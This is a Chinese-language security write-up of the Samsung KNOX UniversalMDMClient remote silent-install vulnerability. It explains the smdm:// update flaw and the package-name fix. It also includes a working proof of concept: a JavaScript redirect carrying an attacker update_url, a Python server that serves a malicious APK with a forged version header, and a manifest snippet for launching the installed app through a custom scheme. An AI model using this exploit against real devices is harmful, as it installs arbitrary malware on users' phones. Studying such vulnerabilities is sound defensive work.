漏洞来源

11月中旬,三星手机被国外安全研究人员曝光了一个严重的安全漏洞,该漏洞影响Galaxy S5,S4,S4 mini,Note 3, Note 4以及Ace 4等所有支持KNOX的手机系统,部分Galaxy S5和 Note 4已修复漏洞。

 

漏洞危害

利用该漏洞,远程攻击者可以精心构造一个恶意网页,欺骗用户更新手机系统,当用户更新系统后,用户手机上会被安装任意的恶意应用。

 

漏洞原因

经研究是系统应用UniversalMDMClient 不安全的更新机制实现导致的,该应用与samsung KNOX 安全解决方案相关。这个系统应用里使用了自定义的scheme:smdm,通过这个scheme可以触发应用更新。但是三星却没有做自升级包名校验机制等,导致可以在更新过程安装任意应用。

 

漏洞修复

官方的修复方案也很简单,就是在自升级时校验了包名。

在android中,包名是唯一的标示,一个android系统里不能同时存在两个包名完全一样的应用。当两个相同包名的应用签名不一样不会导致覆盖安装,这样就可以避免在应用自升级时被中间人攻击,替换为恶意的应用。

img_knox_kv

我们测试了市场上的应用,发现90%的应用都没有使用自升级校验包名的机制,希望可以吸取三星的教训,开发出更加安全,更加健壮的app。

 

详细分析

首先我们把这个漏洞应用拉出来进行分析,看下应用是如何处理这个smdm协议的。

命令:adb pull/system/app/UniversalMDMClient.apk /home/XXX/Desktop/     (不需要root权限)

反编译后发现AndroidManifest.xml文件中有这么一个activity:

KNOX_1

 

这个activity的intent-filter里定义了一个scheme:smdm,并且category是android.intent.category.BROWSABLE。所以当应用接受到smdm协议的url时,该activity会被唤醒进行处理。那么这个activity是如何处理的呢?看下这个activity的相关代码。

定位到程序执行入口onCreate()方法。

KNOX_2

 

可以看到这个函数首先调用了V方法。V方法的实现如下:

public static String v(Context arg3)

{

return arg3.getSharedPreferences("PreETag",0).getString("PreETag", null);

}

 

很明显程序会去检查本地sharedPreference(这个一般存在于应用数据目录,这里是/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/)里是否有PreETag.xml,如果有返回PreEtag的值。

然后继续看onCreate()方法,这里会判断PreEtag是否存在,如果存在就调用finish()方法结束执行。默认情况PreETag.xml这个文件不存在。

接下来会获取intent里的数据,而这个intent的格式就是intent-filter里定义的scheme格式:smdm://。Intent里包含的数据有:seg_url,update_url, email, mdm_token, program和quickstart_url,这些数据是以键值对形式存在的。

然后是关于seg_url和program的处理。

接下来LaunchActivity.a(this.getApplicationContext(),v1, v2, v3, v4, v5, v6, v7);

定位a方法,实现如下:

KNOX_3

 

这段代码就是把从intent里获取的这些参数存入sharedpreference里,对应本地应用目录下的LaunchParameters.xml文件。

接着程序会获取两个值CurrentProgram和Launch Program,如果Current Program为null或者Current Program和Launch Program值相等,说明这个activity是首次运行,不做处理。否则会调用CloudMdmEnrollmentActivity进行处理,这个activity是mdm注册相关的界面。与漏洞关系不大,不做详细分析。接着会有个检测更新的对话框,是不能取消的,this.wY.setCancelable(false);

Core.fl().fq()方法的实现如下:

KNOX_4

 

这段代码负责检查当前是否正在进行更新,如果没有,则调用Core.ph.a(new Core$1(this));这段代码实现如下:

KNOX_5

 

这段代码混淆比较厉害,单从名字无法猜出大概意思,需要跟入几个函数才可以理清。这段代码会检查数据连接,如果有更新在进行则做删除处理,然后从sharedpreference文件m.xml里获取更新地址,并且会在这个地址后加上/latest。而m.xml里获取的更新地址就是上面从intent里获取的udpdate_url,所以这个地址可以由攻击者控制。

this.h(a.qX, "umc.apk");跟进去,代码实现如下:

KNOX_6

 

这里会向攻击者控制的URL发送HEAD HTTP请求,请求的不同状态会有a$1类来处理。这个类的实现代码如下:

KNOX_7

KNOX_8

 

 

当然这里最重要的就是onSuccess()方法了,它会检查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值会与当前UniversalMDMApplicationAPK包的版本进行比较。如果header中的x-amz-meta-apk-version版本号大于当前的APK版本,v0就会被置为1,即需要更新。

此时用户手机会弹框提示有新更新,如果用户点击了确定,就会发送一个get请求,获取apk更新地址等,接着会调用com.sec.enterprise.knox.cloudmdm.smdms.install.a类里的onSuccess()方法。

KNOX_9

继续跟入fX()和fY()方法.我用jeb反编译的这里fX方法是空,fY方法实现如下:

KNOX_10

 

很明显更新线程开启了。

更新线程又会调用执行installApk(),而installApk()又会调用_installApplication()_installApplication()的功能就是禁止包验证 (防止Google扫描APK)安装APK之后再重新开启包验证。混淆比较厉害,需要跟几个函数,此处不再贴代码。

以上是整个客户端处理逻辑。下载的APK既没有经过验证,也没有向用户展示请求的权限。因此这个漏洞能够被攻击者用来安装任意恶意程序。

 

 

现实世界的真实攻击

首先我们验证了这个漏洞的整个流程,测试环境:Galaxy S4 GT-9508,android 4.4.2系统。

poc原理很简单:

用python(或者其他语言)写一个server,用来响应客户端的请求和提供恶意apk。当被攻击者访问攻击者的url更新时,特定格式scheme(smdm://meow?update_url=http://youserver)会触发漏洞应用进行解析处理,最终会被下载安装服务器指定的任意应用。

 

Poc:

<script>

function trigger(){

document.location="smdm://meow?update_url=http://yourserver/";

  }

setTimeout(trigger, 5000);

</script>

 

Python版server代码:

import hashlib

from BaseHTTPServer import BaseHTTPRequestHandler

APK_FILE = "toutiao.apk"

APK_DATA = open(APK_FILE,"rb").read()

APK_SIZE = str(len(APK_DATA))

APK_HASH = hashlib.md5(APK_DATA).hexdigest()

poc ='''

<script>

varloc = window.location.href.replace(/[/.]$/g, '');

alert('smdm://poc?update_url='+encodeURIComponent(loc)+'/test.apk')

top.location ='smdm://poc?update_url='+encodeURIComponent(loc)+'/test.apk';

</script>

'''

class MyHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        
        if self.path.find('latest') >0:        
            self.send_response(200)          
            self.send_header("Content-Length", APK_SIZE)         
            self.send_header("ETag", APK_HASH)            
            self.send_header("x-amz-meta-apk-version","1337")           
            self.end_headers()            
            self.wfile.write(APK_DATA)
        
        else:        
            self.send_response(200, 'OK')          
            self.send_header('Content-type', 'html')           
            self.end_headers()          
            self.wfile.write(poc)
        
        return
    
    def do_HEAD(self):    
        self.send_response(200)       
        self.send_header("Content-Length", APK_SIZE)       
        self.send_header("ETag", APK_HASH)      
        self.send_header("x-amz-meta-apk-version","1337")        
        self.end_headers()
        
        return

if __name__ == "__main__":

    from BaseHTTPServer import HTTPServer
    
    server = HTTPServer(('0.0.0.0',8080), MyHandler)   
    server.serve_forever()

 

 

下面附上漏洞演示视频:http://v.youku.com/v_show/id_XODY0MDM2OTgw.html

 

现实世界的攻击中,恶意应用被安装后还需要被启动才能触发恶意代码,实现其他深入攻击。如果浏览器支持Intent Scheme URI,一般会分三个步骤进行处理:

1.利用Intent.parseUri解析uri,获取原始的intent对象;

2.对intent对象设置过滤规则,不同的浏览器有不同的策略

3.通过Context.startActivityIfNeeded或者Context.startActivity发送intent;

 

这样恶意应用就会被启动,触发恶意代码。国外著名的渗透测试框架Metasploit的漏洞利用脚本,实现了这个过程,目前针对这种意图协议漏洞,360捉虫猎手(appscan.360.cn)可以直接检测,应用开发者可以自查自己的APP是否存在这样的安全隐患。

KNOX_11

 

而另外一种启动恶意代码的方式是通过APP注册一个第三方协议,通过第三方协议启动恶意程序,目前著名的移动渗透测试框架Drozer的漏洞利用脚本已经实现了这一过程:

<activity

android:name="com.mwr.dz.PwnActivity">

<intent-filter>

<actionandroid:name="android.intent.action.VIEW" />

<category android:name="android.intent.category.DEFAULT"/>

<categoryandroid:name="android.intent.category.BROWSABLE" />

<dataandroid:scheme="pwn" />

</intent-filter>

</activity>

在APK的mainfest配置文件中在系统中注册一个PWN的第三方协议,漏洞利用网页只要嵌入类似pwn://协议的地址就可以唤起恶意程序。

 

官方补丁

如果你的设备还有漏洞,你可以等三星的补丁,也可以自己修复。修复补丁不需要root权限,只需点击这个链接:
smdm://patch/

实际上点击这个链接时,漏洞程序会启动,但是没有指定的更新URL,它会使用默认的三星UMC(Universal MDM Client)服务器http://umc-cdn.secb2b.com:80,这个服务器上有最新版本的UniversalMDMClient.apk。

 

【原文:三星KNOX远程静默安装漏洞深入分析报告 作者:@0xr0ot SP小编整理发布】

 

源链接

Hacking more

...